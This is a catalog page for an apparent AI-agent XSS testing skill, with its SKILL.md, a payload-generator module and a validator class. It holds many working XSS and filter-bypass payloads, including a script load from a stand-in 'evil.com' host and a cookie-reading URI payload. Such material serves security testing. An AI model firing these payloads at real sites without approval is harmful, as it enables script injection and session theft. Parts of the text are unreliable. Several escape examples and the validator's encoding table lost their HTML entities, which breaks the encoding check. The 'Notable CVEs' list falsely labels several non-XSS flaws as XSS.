xss-testing
Validate Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based XSS. Test by injecting script payloads into user-controlled inputs and observing if they execute in browser context. Use when testing CWE-79 (XSS), CWE-80 (Basic XSS), CWE-81 (Error Message XSS), CWE-83 (Attribute XSS), CWE-84 (URI Scheme XSS), CWE-85 (Doubled Character XSS), CWE-86 (Invalid Character XSS), CWE-87 (Alternate XSS Syntax), or related XSS findings.
Packaged view
This page reorganizes the original catalog entry around fit, installability, and workflow context first. The original raw source lives below.
Install command
npx @skill-hub/cli install anshumanbh-securevibes-xss-testing
Repository
Skill path: packages/core/securevibes/skills/dast/xss-testing
Validate Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based XSS. Test by injecting script payloads into user-controlled inputs and observing if they execute in browser context. Use when testing CWE-79 (XSS), CWE-80 (Basic XSS), CWE-81 (Error Message XSS), CWE-83 (Attribute XSS), CWE-84 (URI Scheme XSS), CWE-85 (Doubled Character XSS), CWE-86 (Invalid Character XSS), CWE-87 (Alternate XSS Syntax), or related XSS findings.
Open repositoryBest for
Primary workflow: Ship Full Stack.
Technical facets: Full Stack, Testing.
Target audience: everyone.
License: Unknown.
Original source
Catalog source: SkillHub Club.
Repository owner: anshumanbh.
This is still a mirrored public skill entry. Review the repository before installing into production workflows.
What it helps with
- Install xss-testing into Claude Code, Codex CLI, Gemini CLI, or OpenCode workflows
- Review https://github.com/anshumanbh/securevibes before adding xss-testing to shared team environments
- Use xss-testing for development workflows
Works across
Favorites: 0.
Sub-skills: 0.
Aggregator: No.
Original source / Raw SKILL.md
---
name: xss-testing
description: Validate Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based XSS. Test by injecting script payloads into user-controlled inputs and observing if they execute in browser context. Use when testing CWE-79 (XSS), CWE-80 (Basic XSS), CWE-81 (Error Message XSS), CWE-83 (Attribute XSS), CWE-84 (URI Scheme XSS), CWE-85 (Doubled Character XSS), CWE-86 (Invalid Character XSS), CWE-87 (Alternate XSS Syntax), or related XSS findings.
allowed-tools: Read, Write, Bash
---
# Cross-Site Scripting (XSS) Testing Skill
## Purpose
Validate XSS vulnerabilities by injecting script payloads into user-controlled inputs and observing:
- **Payload reflection** without encoding in HTTP responses
- **Script execution** indicators in response content
- **DOM manipulation** via client-side JavaScript
- **Stored payload retrieval** from backend storage
- **Context-specific injection** (HTML body, attributes, JavaScript, CSS, URLs)
## Vulnerability Types Covered
### 1. Reflected XSS / Non-Persistent XSS / Type 1 (CWE-79)
Payload is reflected directly from request to response without storage.
**Detection Methods:**
- Inject `<script>alert(1)</script>` in parameters, observe in response body
- Check if payload appears unencoded (`<script>` not converted to `<script>`)
**Example Attack:**
```
GET /search?q=<script>alert(1)</script>
Response: <p>Results for: <script>alert(1)</script></p>
```
### 2. Stored XSS / Persistent XSS / Type 2 (CWE-79)
Payload is stored server-side and served to other users.
**Detection Methods:**
- Submit payload via form/API, retrieve via separate request
- Check if payload persists and reflects to other users/sessions
**Example Attack:**
```
POST /comments {"body": "<script>alert(1)</script>"}
GET /comments → Response includes stored script
```
### 3. DOM-Based XSS / Type 0 (CWE-79)
Payload is injected via client-side JavaScript manipulating the DOM.
**Detection Methods:**
- Inject payload in URL fragment (`#<script>...`)
- Inject via `location.hash`, `document.URL`, `document.referrer`
- Look for dangerous sinks: `innerHTML`, `document.write`, `eval`
**Example Attack:**
```
GET /page#<img src=x onerror=alert(1)>
Client JS: document.getElementById('output').innerHTML = location.hash.slice(1);
```
### 4. Basic XSS (CWE-80)
Simple script tag injection in HTML body.
**Detection:** `<script>alert(1)</script>` reflected unencoded.
### 5. Error Message XSS (CWE-81)
XSS in application error pages/messages.
**Detection:** Inject payload that triggers error, check error page for reflection.
### 6. Attribute Context XSS (CWE-83)
Payload breaks out of HTML attribute context.
**Detection Methods:**
- `" onmouseover="alert(1)` — break double-quoted attribute
- `' onfocus='alert(1)` — break single-quoted attribute
- `" autofocus onfocus="alert(1)` — auto-triggering
**Example:**
```html
<input value="USER_INPUT" />
Payload: " onfocus="alert(1)" autofocus="
Result: <input value="" onfocus="alert(1)" autofocus="" />
```
### 7. URI Scheme XSS (CWE-84)
Injection via `javascript:` or `data:` URI schemes.
**Detection:** `javascript:alert(1)` in href/src attributes.
**Example:**
```html
<a href="USER_INPUT">Click</a>
Payload: javascript:alert(1)
Result: <a href="javascript:alert(1)">Click</a>
```
### 8. Doubled Character XSS (CWE-85)
Bypass filters using doubled/nested characters.
**Detection:** `<<script>script>alert(1)<</script>/script>` bypasses naive stripping.
### 9. Invalid Character XSS (CWE-86)
Injection using invalid/special Unicode characters.
**Detection:** Null bytes, UTF-7, charset confusion attacks.
### 10. Alternate XSS Syntax (CWE-87)
Non-standard XSS vectors that bypass filters.
**Detection Methods:**
- `<svg onload=alert(1)>`
- `<img src=x onerror=alert(1)>`
- `<body onload=alert(1)>`
- `<iframe src="javascript:alert(1)">`
- Template literals: `` `${alert(1)}` ``
## Context-Specific Notes
| Context | Encoding Required | Payload Examples |
|---------|-------------------|------------------|
| HTML Body | HTML entity encoding | `<script>alert(1)</script>` |
| HTML Attribute | Attribute encoding + quote escape | `" onmouseover="alert(1)` |
| JavaScript String | JavaScript string escaping | `';alert(1)//` or `</script><script>alert(1)` |
| JavaScript Template | Template literal escaping | `` ${alert(1)} `` |
| URL Parameter | URL encoding | `javascript:alert(1)` |
| CSS Value | CSS escaping | `expression(alert(1))` (legacy IE) |
## Prerequisites
- Target application running and reachable
- Identified injection points (URL params, form fields, headers, cookies)
- Browser or headless browser for DOM-based XSS validation
- VULNERABILITIES.json with suspected XSS findings if provided
## Testing Methodology
### Phase 1: Identify Injection Points
- URL query parameters
- POST body fields (form data, JSON)
- HTTP headers (User-Agent, Referer, X-Forwarded-For)
- Cookies
- Path segments
- File upload names/metadata
**Key Insight:** Any user input that appears in HTML output is a potential XSS vector.
### Phase 2: Determine Context
Analyze where input is reflected:
- **HTML body:** Between tags
- **HTML attribute:** Inside tag attributes
- **JavaScript:** Inside `<script>` blocks or event handlers
- **URL:** In `href`, `src`, `action` attributes
- **CSS:** In style attributes or `<style>` blocks
### Phase 3: Establish Baseline
- Send normal request; record response content
- Identify where user input appears in response
- Check existing encoding/sanitization
### Phase 4: Execute XSS Tests
**Reflected XSS (HTML Body):**
```python
payloads = [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
]
for payload in payloads:
resp = get(f"/search?q={quote(payload)}")
if payload in resp.text: # Unencoded reflection
status = "VALIDATED"
```
**Attribute Context XSS:**
```python
payloads = [
'" onmouseover="alert(1)',
"' onfocus='alert(1)",
'" autofocus onfocus="alert(1)',
]
for payload in payloads:
resp = get(f"/profile?name={quote(payload)}")
if 'onmouseover=' in resp.text or 'onfocus=' in resp.text:
status = "VALIDATED"
```
**JavaScript Context XSS:**
```python
payloads = [
"';alert(1)//",
"</script><script>alert(1)</script>",
"'-alert(1)-'",
]
for payload in payloads:
resp = get(f"/page?callback={quote(payload)}")
if "alert(1)" in resp.text and "<script>" in resp.text:
status = "VALIDATED"
```
**URI Scheme XSS:**
```python
payloads = [
"javascript:alert(1)",
"data:text/html,<script>alert(1)</script>",
]
for payload in payloads:
resp = get(f"/redirect?url={quote(payload)}")
if f'href="{payload}"' in resp.text or f"href='{payload}'" in resp.text:
status = "VALIDATED"
```
### Phase 5: Classification Logic
| Status | Meaning |
|--------|---------|
| **VALIDATED** | Payload reflected unencoded in executable context |
| **FALSE_POSITIVE** | Payload properly encoded/sanitized |
| **PARTIAL** | Partial reflection or unclear execution context |
| **UNVALIDATED** | Blocked, error, or insufficient evidence |
**Validation Criteria:**
- Payload appears in response WITHOUT HTML entity encoding
- Payload is in executable context (not inside comments, CDATA, etc.)
- Event handlers or script tags are intact
### Phase 6: Capture Evidence
Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
- `status`, `injection_type`, `cwe`
- Request details (url, method, payload)
- Response snippet showing unencoded reflection
- Context (HTML body, attribute, JavaScript, etc.)
### Phase 7: Safety Rules
- Detection-only payloads; use `alert(1)` or DOM markers, not malicious code
- Do not inject payloads that persist and affect real users
- Clean up stored XSS test data after validation
- Redact any sensitive data in evidence
- Test in isolated/staging environments when possible
## Output Guidelines
- Keep responses concise (1-4 sentences)
- Include endpoint, payload, context, and impact
**Validated examples:**
```
Reflected XSS on /search - <script>alert(1)</script> reflected unencoded in HTML body (CWE-79). Session hijacking risk.
Attribute XSS on /profile - " onmouseover="alert(1) breaks out of value attribute (CWE-83). User interaction triggers payload.
DOM-based XSS on /page - location.hash injected via innerHTML sink (CWE-79). Client-side execution confirmed.
Stored XSS on /comments - payload persists and reflects to other users (CWE-79). Worm propagation possible.
```
**Unvalidated example:**
```
XSS test incomplete on /feedback - payload HTML-encoded as <script>. Evidence: path/to/evidence.json
```
## CWE Mapping
**Primary CWE (DAST-testable):**
- **CWE-79:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- This is THE designated CWE for XSS vulnerabilities
- Ranked **#1** in MITRE's 2025 CWE Top 25 Most Dangerous Software Weaknesses
- Alternate terms: XSS, HTML Injection, Reflected/Stored/DOM-based XSS
**Child CWEs (specific variants under CWE-79):**
- **CWE-80:** Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
- **CWE-81:** Improper Neutralization of Script in an Error Message Web Page
- **CWE-83:** Improper Neutralization of Script in Attributes in a Web Page
- **CWE-84:** Improper Neutralization of Encoded URI Schemes in a Web Page
- **CWE-85:** Doubled Character XSS Manipulations
- **CWE-86:** Improper Neutralization of Invalid Characters in Identifiers in Web Pages
- **CWE-87:** Improper Neutralization of Alternate XSS Syntax
**Parent/Related CWEs (context):**
- **CWE-74:** Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') — parent class
- **CWE-20:** Improper Input Validation — related root cause
- **CWE-116:** Improper Encoding or Escaping of Output — related mitigation failure
**Related Attack Patterns:**
- **CAPEC-86:** XSS Through HTTP Headers
- **CAPEC-198:** XSS Targeting Error Pages
- **CAPEC-199:** XSS Using Alternate Syntax
- **CAPEC-209:** XSS Using MIME Type Mismatch
- **CAPEC-243:** XSS Targeting HTML Attributes
- **CAPEC-244:** XSS Targeting URI Placeholders
- **CAPEC-245:** XSS Using Doubled Characters
- **CAPEC-247:** XSS Using Invalid Characters
- **CAPEC-588:** DOM-Based XSS
- **CAPEC-591:** Reflected XSS
- **CAPEC-592:** Stored XSS
## Notable CVEs (examples)
- **CVE-2024-21887 (Ivanti Connect Secure):** Pre-auth XSS leading to RCE chain.
- **CVE-2023-29489 (cPanel):** Reflected XSS in web interface.
- **CVE-2022-1388 (F5 BIG-IP):** XSS contributing to auth bypass.
- **CVE-2021-34473 (Microsoft Exchange ProxyShell):** XSS in OWA component.
- **CVE-2020-11022 (jQuery):** XSS via HTML parsing in older jQuery versions.
- **CVE-2018-11776 (Apache Struts):** XSS via namespace handling.
- **CVE-2005-4712 (Samy Worm):** First major stored XSS worm on MySpace.
## Safety Reminders
- ONLY test against user-approved targets; stop if production protections trigger
- Do not inject payloads that could persist and affect real users without cleanup plan
- Use benign payloads (`alert(1)`, `console.log`) not malicious scripts
- Prefer parameterized output encoding and Content-Security-Policy in mitigations
- Test stored XSS in isolated accounts; clean up after testing
## Reference Implementations
- See `reference/xss_payloads.py` for XSS payloads by context
- See `reference/validate_xss.py` for XSS-focused validation flow
- See `examples.md` for concrete XSS scenarios and evidence formats
### Additional Resources
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [OWASP DOM-Based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
- [PortSwigger XSS](https://portswigger.net/web-security/cross-site-scripting)
- [HackTricks XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting)
---
## Referenced Files
> The following files are referenced in this skill and included for context.
### reference/xss_payloads.py
```python
"""
XSS payload generators for Cross-Site Scripting testing.
Payloads organized by injection context:
- HTML body
- HTML attributes
- JavaScript strings
- URI schemes (href, src)
- Filter bypass techniques
- DOM-based XSS
CWE Coverage: CWE-79, CWE-80, CWE-81, CWE-83, CWE-84, CWE-85, CWE-86, CWE-87
"""
from typing import Generator
def html_body_payloads() -> Generator[str, None, None]:
"""
Payloads for HTML body context.
CWE-79, CWE-80: Basic XSS in HTML content.
"""
payloads = [
# Basic script tags
"<script>alert(1)</script>",
"<script>alert(String.fromCharCode(88,83,83))</script>",
"<script src=//evil.com/xss.js></script>",
# Event handlers - img
"<img src=x onerror=alert(1)>",
"<img src=x onerror=alert(1)//>",
'<img src="x" onerror="alert(1)">',
# Event handlers - svg
"<svg onload=alert(1)>",
"<svg/onload=alert(1)>",
"<svg onload=alert(1)//",
# Event handlers - other tags
"<body onload=alert(1)>",
"<input onfocus=alert(1) autofocus>",
"<marquee onstart=alert(1)>",
"<video src=x onerror=alert(1)>",
"<audio src=x onerror=alert(1)>",
"<details open ontoggle=alert(1)>",
"<iframe src=javascript:alert(1)>",
"<object data=javascript:alert(1)>",
"<embed src=javascript:alert(1)>",
# Math and foreign elements
"<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
"<xss onmouseover=alert(1)>hover</xss>",
]
yield from payloads
def attribute_payloads(quote_char: str = '"') -> Generator[str, None, None]:
"""
Payloads for HTML attribute context breakout.
CWE-83: XSS in Attributes.
Args:
quote_char: Quote character used in attributes ('"' or "'")
"""
if quote_char == '"':
payloads = [
'" onmouseover="alert(1)',
'" onfocus="alert(1)" autofocus="',
'" onclick="alert(1)',
'" onload="alert(1)',
'"><script>alert(1)</script>',
'"><img src=x onerror=alert(1)>',
'" autofocus onfocus="alert(1)" x="',
'"/><script>alert(1)</script>',
]
else:
payloads = [
"' onmouseover='alert(1)",
"' onfocus='alert(1)' autofocus='",
"' onclick='alert(1)",
"'><script>alert(1)</script>",
"'><img src=x onerror=alert(1)>",
"' autofocus onfocus='alert(1)' x='",
]
yield from payloads
def javascript_payloads(quote_char: str = "'") -> Generator[str, None, None]:
"""
Payloads for JavaScript string context.
CWE-79: XSS via JavaScript injection.
Args:
quote_char: Quote character used in JS string ("'" or '"')
"""
if quote_char == "'":
payloads = [
"';alert(1)//",
"';alert(1);'",
"'-alert(1)-'",
"\\';alert(1)//",
"</script><script>alert(1)</script>",
"'+alert(1)+'",
"';alert(String.fromCharCode(88,83,83))//",
]
else:
payloads = [
'";alert(1)//',
'";alert(1);"',
'"-alert(1)-"',
'";alert(1)//',
"</script><script>alert(1)</script>",
'"+alert(1)+"',
]
# Template literal payloads
template_payloads = [
"${alert(1)}",
"`${alert(1)}`",
"${constructor.constructor('alert(1)')()}",
]
yield from payloads
yield from template_payloads
def uri_scheme_payloads() -> Generator[str, None, None]:
"""
Payloads for URI context (href, src, action attributes).
CWE-84: XSS via URI Schemes.
"""
payloads = [
"javascript:alert(1)",
"javascript:alert(document.domain)",
"javascript:alert(document.cookie)",
"javascript:alert`1`",
"javascript:alert(/XSS/)",
"JaVaScRiPt:alert(1)",
" javascript:alert(1)",
"javascript://comment%0aalert(1)",
"data:text/html,<script>alert(1)</script>",
"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==",
"data:text/html,<img src=x onerror=alert(1)>",
"vbscript:alert(1)", # Legacy IE
]
yield from payloads
def filter_bypass_payloads() -> Generator[str, None, None]:
"""
Payloads designed to bypass common XSS filters.
CWE-85: Doubled Character XSS
CWE-86: Invalid Character XSS
CWE-87: Alternate XSS Syntax
"""
payloads = [
# Case variation
"<ScRiPt>alert(1)</ScRiPt>",
"<SCRIPT>alert(1)</SCRIPT>",
"<ScRiPt>alert(1)</sCrIpT>",
# Doubled/nested tags
"<scr<script>ipt>alert(1)</script>",
"<<script>script>alert(1)<</script>/script>",
# Whitespace variations
"<svg/onload=alert(1)>",
"<svg\tonload=alert(1)>",
"<svg\nonload=alert(1)>",
"<svg\r\nonload=alert(1)>",
"<img\tsrc=x\tonerror=alert(1)>",
# Null bytes and special chars
"<scr%00ipt>alert(1)</script>",
"<img src=x onerror=\x00alert(1)>",
# HTML encoding in event handlers
"<img src=x onerror=alert(1)>",
"<img src=x onerror=alert(1)>",
# No quotes
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
# Unicode escapes
"<img src=x onerror=\\u0061lert(1)>",
# Expression without parentheses
"<img src=x onerror=alert`1`>",
"<svg onload=alert`1`>",
# Constructor tricks
"<img src=x onerror=constructor.constructor('alert(1)')()>",
# Protocol obfuscation
"<a href='javascript:alert(1)'>x</a>",
]
yield from payloads
def dom_based_payloads() -> Generator[str, None, None]:
"""
Payloads for DOM-based XSS testing.
CWE-79: DOM-based XSS via client-side sinks.
"""
payloads = [
# URL fragment payloads
"#<img src=x onerror=alert(1)>",
"#<script>alert(1)</script>",
"#<svg onload=alert(1)>",
"#javascript:alert(1)",
# URL parameter payloads
"?default=<script>alert(1)</script>",
"?q=<img src=x onerror=alert(1)>",
"?callback=alert(1)",
"?redirect=javascript:alert(1)",
# Common DOM source payloads
"<img src=x onerror=alert(1)>",
"<svg/onload=alert(1)>",
"'-alert(1)-'",
'"-alert(1)-"',
]
yield from payloads
def error_page_payloads() -> Generator[str, None, None]:
"""
Payloads for XSS in error pages.
CWE-81: XSS in Error Messages.
"""
payloads = [
# 404 page payloads
"/<script>alert(1)</script>",
"/<img src=x onerror=alert(1)>",
"/nonexistent<script>alert(1)</script>",
# Error parameter payloads
"?error=<script>alert(1)</script>",
"?msg=<img src=x onerror=alert(1)>",
"?debug=<svg onload=alert(1)>",
]
yield from payloads
def get_all_payloads() -> Generator[str, None, None]:
"""Yield all XSS payloads across all contexts."""
yield from html_body_payloads()
yield from attribute_payloads('"')
yield from attribute_payloads("'")
yield from javascript_payloads("'")
yield from javascript_payloads('"')
yield from uri_scheme_payloads()
yield from filter_bypass_payloads()
yield from dom_based_payloads()
yield from error_page_payloads()
def get_payloads_by_cwe(cwe: str) -> Generator[str, None, None]:
"""
Get payloads targeting a specific CWE.
Args:
cwe: CWE identifier (e.g., "CWE-79", "CWE-83")
"""
cwe_map = {
"CWE-79": list(html_body_payloads()) + list(dom_based_payloads()),
"CWE-80": list(html_body_payloads()),
"CWE-81": list(error_page_payloads()),
"CWE-83": list(attribute_payloads('"')) + list(attribute_payloads("'")),
"CWE-84": list(uri_scheme_payloads()),
"CWE-85": [p for p in filter_bypass_payloads() if "<<" in p or "><" in p],
"CWE-86": [p for p in filter_bypass_payloads() if "%00" in p or "\\x" in p],
"CWE-87": list(filter_bypass_payloads()),
}
yield from cwe_map.get(cwe.upper(), [])
if __name__ == "__main__":
print("=== XSS Payloads by Context ===\n")
print("HTML Body Payloads:")
for i, p in enumerate(html_body_payloads(), 1):
print(f" {i}. {p}")
print("\nAttribute Payloads (double quote):")
for i, p in enumerate(attribute_payloads('"'), 1):
print(f" {i}. {p}")
print("\nURI Scheme Payloads:")
for i, p in enumerate(uri_scheme_payloads(), 1):
print(f" {i}. {p}")
print("\nFilter Bypass Payloads:")
for i, p in enumerate(filter_bypass_payloads(), 1):
print(f" {i}. {p}")
```
### reference/validate_xss.py
```python
"""
XSS validation script for Cross-Site Scripting testing.
Validates XSS vulnerabilities by:
1. Sending payloads to target endpoints
2. Checking for unencoded reflection in responses
3. Detecting injection context (HTML body, attribute, JavaScript, etc.)
4. Classifying results (VALIDATED, FALSE_POSITIVE, PARTIAL, UNVALIDATED)
CWE Coverage: CWE-79, CWE-80, CWE-81, CWE-83, CWE-84, CWE-85, CWE-86, CWE-87
"""
import hashlib
import json
import re
from dataclasses import dataclass, field
from typing import Any, Optional
from urllib.parse import quote, urljoin
# Type hints for requests (not imported to avoid dependency)
# In actual use, import requests
@dataclass
class XSSTestResult:
"""Result of an XSS test."""
status: str # VALIDATED, FALSE_POSITIVE, PARTIAL, UNVALIDATED
injection_type: str
cwe: str
context: str
payload_used: str
evidence: str
test_details: dict = field(default_factory=dict)
def to_dict(self) -> dict:
return {
"status": self.status,
"injection_type": self.injection_type,
"cwe": self.cwe,
"context": self.context,
"payload_used": self.payload_used,
"evidence": self.evidence,
"test": self.test_details,
}
class XSSValidator:
"""Validates XSS vulnerabilities across different contexts."""
# Patterns indicating successful XSS reflection
XSS_INDICATORS = [
r"<script[^>]*>", # Script tags
r"onerror\s*=", # Event handlers
r"onload\s*=",
r"onclick\s*=",
r"onmouseover\s*=",
r"onfocus\s*=",
r"onmouseenter\s*=",
r"ontoggle\s*=",
r"javascript:", # URI schemes
r"data:text/html",
r"<svg[^>]*onload", # SVG with handlers
r"<img[^>]*onerror", # IMG with handlers
]
# Patterns indicating encoding (mitigation)
ENCODED_PATTERNS = [
("<", "<"),
(">", ">"),
(""", '"'),
("'", "'"),
("'", "'"),
("&", "&"),
("<", "<"),
(">", ">"),
]
def __init__(self, base_url: str, timeout: int = 10, verify_ssl: bool = True):
"""
Initialize XSS validator.
Args:
base_url: Base URL of target application
timeout: Request timeout in seconds
verify_ssl: Whether to verify SSL certificates
"""
self.base_url = base_url.rstrip("/")
self.timeout = timeout
self.verify_ssl = verify_ssl
self.session = None # Set up requests session when needed
def _make_request(
self,
method: str,
endpoint: str,
params: Optional[dict] = None,
data: Optional[dict] = None,
headers: Optional[dict] = None,
) -> tuple[int, str, dict]:
"""
Make HTTP request and return status, body, headers.
Placeholder - implement with actual HTTP client.
"""
# In actual implementation, use requests library
# import requests
# response = requests.request(method, url, ...)
raise NotImplementedError("Implement with HTTP client library")
def _hash_response(self, content: str) -> str:
"""Generate SHA256 hash of response content."""
return f"sha256:{hashlib.sha256(content.encode()).hexdigest()[:16]}"
def _truncate_snippet(self, content: str, payload: str, max_len: int = 500) -> str:
"""Extract relevant snippet around payload reflection."""
idx = content.find(payload)
if idx == -1:
# Try case-insensitive or partial match
idx = content.lower().find(payload.lower()[:20])
if idx == -1:
return content[:max_len] + "..." if len(content) > max_len else content
start = max(0, idx - 100)
end = min(len(content), idx + len(payload) + 100)
snippet = content[start:end]
if start > 0:
snippet = "..." + snippet
if end < len(content):
snippet = snippet + "..."
return snippet
def _detect_context(self, response: str, payload: str) -> str:
"""Detect the injection context based on response analysis."""
idx = response.find(payload)
if idx == -1:
return "unknown"
# Look at surrounding context
before = response[max(0, idx - 100) : idx]
after = response[idx + len(payload) : idx + len(payload) + 100]
# Check for JavaScript context
if re.search(r"<script[^>]*>", before, re.IGNORECASE):
if "</script>" in after or not re.search(r"</script>", before, re.IGNORECASE):
return "javascript"
# Check for attribute context
attr_pattern = r'(?:value|href|src|data-\w+|title|alt)\s*=\s*["\'][^"\']*$'
if re.search(attr_pattern, before, re.IGNORECASE):
return "html_attribute"
# Check for URI context
if re.search(r'(?:href|src|action)\s*=\s*["\']?$', before, re.IGNORECASE):
return "uri"
# Check for style context
if re.search(r"<style[^>]*>", before, re.IGNORECASE) or re.search(
r"style\s*=", before, re.IGNORECASE
):
return "css"
# Default to HTML body
return "html_body"
def _is_payload_encoded(self, response: str, payload: str) -> bool:
"""Check if payload appears to be HTML-encoded."""
# Check if raw payload exists
if payload in response:
# Check if it's actually inside a comment or CDATA
idx = response.find(payload)
before = response[max(0, idx - 50) : idx]
if "<!--" in before and "-->" not in before:
return True # In comment
if "<![CDATA[" in before:
return True # In CDATA
return False # Unencoded
# Check for common encodings
for encoded, original in self.ENCODED_PATTERNS:
if original in payload:
encoded_payload = payload.replace(original, encoded)
if encoded_payload in response:
return True
return True # Not found, assume blocked/encoded
def _check_xss_indicators(self, response: str) -> list[str]:
"""Find XSS indicators in response."""
found = []
for pattern in self.XSS_INDICATORS:
if re.search(pattern, response, re.IGNORECASE):
found.append(pattern)
return found
def validate_reflected_xss(
self,
endpoint: str,
param: str,
payload: str,
method: str = "GET",
) -> XSSTestResult:
"""
Validate reflected XSS vulnerability.
Args:
endpoint: Target endpoint path
param: Parameter name to inject
payload: XSS payload to test
method: HTTP method (GET or POST)
Returns:
XSSTestResult with validation status
"""
url = urljoin(self.base_url, endpoint)
try:
if method.upper() == "GET":
params = {param: payload}
status_code, response_body, _ = self._make_request("GET", endpoint, params=params)
else:
data = {param: payload}
status_code, response_body, _ = self._make_request("POST", endpoint, data=data)
except Exception as e:
return XSSTestResult(
status="UNVALIDATED",
injection_type="xss_reflected",
cwe="CWE-79",
context="unknown",
payload_used=payload,
evidence=f"Request failed: {str(e)}",
test_details={"url": url, "error": str(e)},
)
# Check for WAF/blocking
if status_code in (403, 406, 429):
return XSSTestResult(
status="UNVALIDATED",
injection_type="xss_reflected",
cwe="CWE-79",
context="unknown",
payload_used=payload,
evidence=f"Blocked by WAF/security (HTTP {status_code})",
test_details={"url": url, "status": status_code},
)
# Check if payload is reflected unencoded
if not self._is_payload_encoded(response_body, payload):
context = self._detect_context(response_body, payload)
indicators = self._check_xss_indicators(response_body)
return XSSTestResult(
status="VALIDATED",
injection_type="xss_reflected",
cwe="CWE-79",
context=context,
payload_used=payload,
evidence=f"Reflected XSS: payload unencoded in {context}",
test_details={
"url": f"{url}?{param}={quote(payload)}",
"method": method,
"status": status_code,
"response_snippet": self._truncate_snippet(response_body, payload),
"response_hash": self._hash_response(response_body),
"indicators": indicators,
},
)
else:
return XSSTestResult(
status="FALSE_POSITIVE",
injection_type="xss_reflected",
cwe="CWE-79",
context="n/a",
payload_used=payload,
evidence="XSS mitigated: payload encoded or blocked",
test_details={
"url": url,
"status": status_code,
"response_snippet": self._truncate_snippet(response_body, payload[:20]),
},
)
def validate_stored_xss(
self,
submit_endpoint: str,
submit_param: str,
retrieve_endpoint: str,
payload: str,
submit_method: str = "POST",
) -> XSSTestResult:
"""
Validate stored XSS vulnerability.
Args:
submit_endpoint: Endpoint to submit payload
submit_param: Parameter name for payload
retrieve_endpoint: Endpoint to retrieve stored content
payload: XSS payload to test
submit_method: HTTP method for submission
Returns:
XSSTestResult with validation status
"""
submit_url = urljoin(self.base_url, submit_endpoint)
retrieve_url = urljoin(self.base_url, retrieve_endpoint)
try:
# Submit payload
data = {submit_param: payload}
submit_status, _, _ = self._make_request(submit_method, submit_endpoint, data=data)
# Retrieve and check
_, retrieve_body, _ = self._make_request("GET", retrieve_endpoint)
except Exception as e:
return XSSTestResult(
status="UNVALIDATED",
injection_type="xss_stored",
cwe="CWE-79",
context="unknown",
payload_used=payload,
evidence=f"Request failed: {str(e)}",
test_details={"error": str(e)},
)
if not self._is_payload_encoded(retrieve_body, payload):
context = self._detect_context(retrieve_body, payload)
return XSSTestResult(
status="VALIDATED",
injection_type="xss_stored",
cwe="CWE-79",
context=context,
payload_used=payload,
evidence=f"Stored XSS: payload persists unencoded in {context}",
test_details={
"submit_url": submit_url,
"retrieve_url": retrieve_url,
"response_snippet": self._truncate_snippet(retrieve_body, payload),
"response_hash": self._hash_response(retrieve_body),
},
)
else:
return XSSTestResult(
status="FALSE_POSITIVE",
injection_type="xss_stored",
cwe="CWE-79",
context="n/a",
payload_used=payload,
evidence="Stored XSS mitigated: payload encoded or not stored",
test_details={
"submit_url": submit_url,
"retrieve_url": retrieve_url,
},
)
def validate_attribute_xss(
self,
endpoint: str,
param: str,
quote_char: str = '"',
) -> XSSTestResult:
"""
Validate attribute-context XSS (CWE-83).
Args:
endpoint: Target endpoint
param: Parameter reflected in attribute
quote_char: Quote character used in attribute
Returns:
XSSTestResult with validation status
"""
if quote_char == '"':
payload = '" onfocus="alert(1)" autofocus="'
else:
payload = "' onfocus='alert(1)' autofocus='"
result = self.validate_reflected_xss(endpoint, param, payload)
if result.status == "VALIDATED":
result.injection_type = "xss_attribute_breakout"
result.cwe = "CWE-83"
result.evidence = f"Attribute XSS: broke out of {quote_char}-quoted attribute"
return result
def validate_uri_xss(
self,
endpoint: str,
param: str,
) -> XSSTestResult:
"""
Validate URI scheme XSS (CWE-84).
Args:
endpoint: Target endpoint
param: Parameter reflected in href/src
Returns:
XSSTestResult with validation status
"""
payload = "javascript:alert(1)"
result = self.validate_reflected_xss(endpoint, param, payload)
if result.status == "VALIDATED":
result.injection_type = "xss_uri_javascript"
result.cwe = "CWE-84"
result.evidence = "URI scheme XSS: javascript: protocol accepted"
return result
def validate_from_vulnerabilities(vulns_file: str, base_url: str) -> list[dict[str, Any]]:
"""
Validate XSS findings from VULNERABILITIES.json.
Args:
vulns_file: Path to VULNERABILITIES.json
base_url: Base URL of target
Returns:
List of validation results
"""
with open(vulns_file) as f:
vulns = json.load(f)
validator = XSSValidator(base_url)
results = []
for vuln in vulns:
if vuln.get("cwe") not in [
"CWE-79",
"CWE-80",
"CWE-81",
"CWE-83",
"CWE-84",
"CWE-85",
"CWE-86",
"CWE-87",
]:
continue
endpoint = vuln.get("endpoint", "/")
param = vuln.get("param", "q")
payload = vuln.get("payload", "<script>alert(1)</script>")
# Determine test type based on CWE
cwe = vuln.get("cwe", "CWE-79")
if cwe == "CWE-83":
result = validator.validate_attribute_xss(endpoint, param)
elif cwe == "CWE-84":
result = validator.validate_uri_xss(endpoint, param)
else:
result = validator.validate_reflected_xss(endpoint, param, payload)
results.append(result.to_dict())
return results
if __name__ == "__main__":
print("XSS Validator - Example Usage")
print("=" * 40)
print(
"""
from validate_xss import XSSValidator
validator = XSSValidator("http://target.com")
# Test reflected XSS
result = validator.validate_reflected_xss(
endpoint="/search",
param="q",
payload="<script>alert(1)</script>"
)
print(result.to_dict())
# Test attribute XSS
result = validator.validate_attribute_xss(
endpoint="/profile",
param="name",
quote_char='"'
)
print(result.to_dict())
# Test URI scheme XSS
result = validator.validate_uri_xss(
endpoint="/redirect",
param="url"
)
print(result.to_dict())
"""
)
```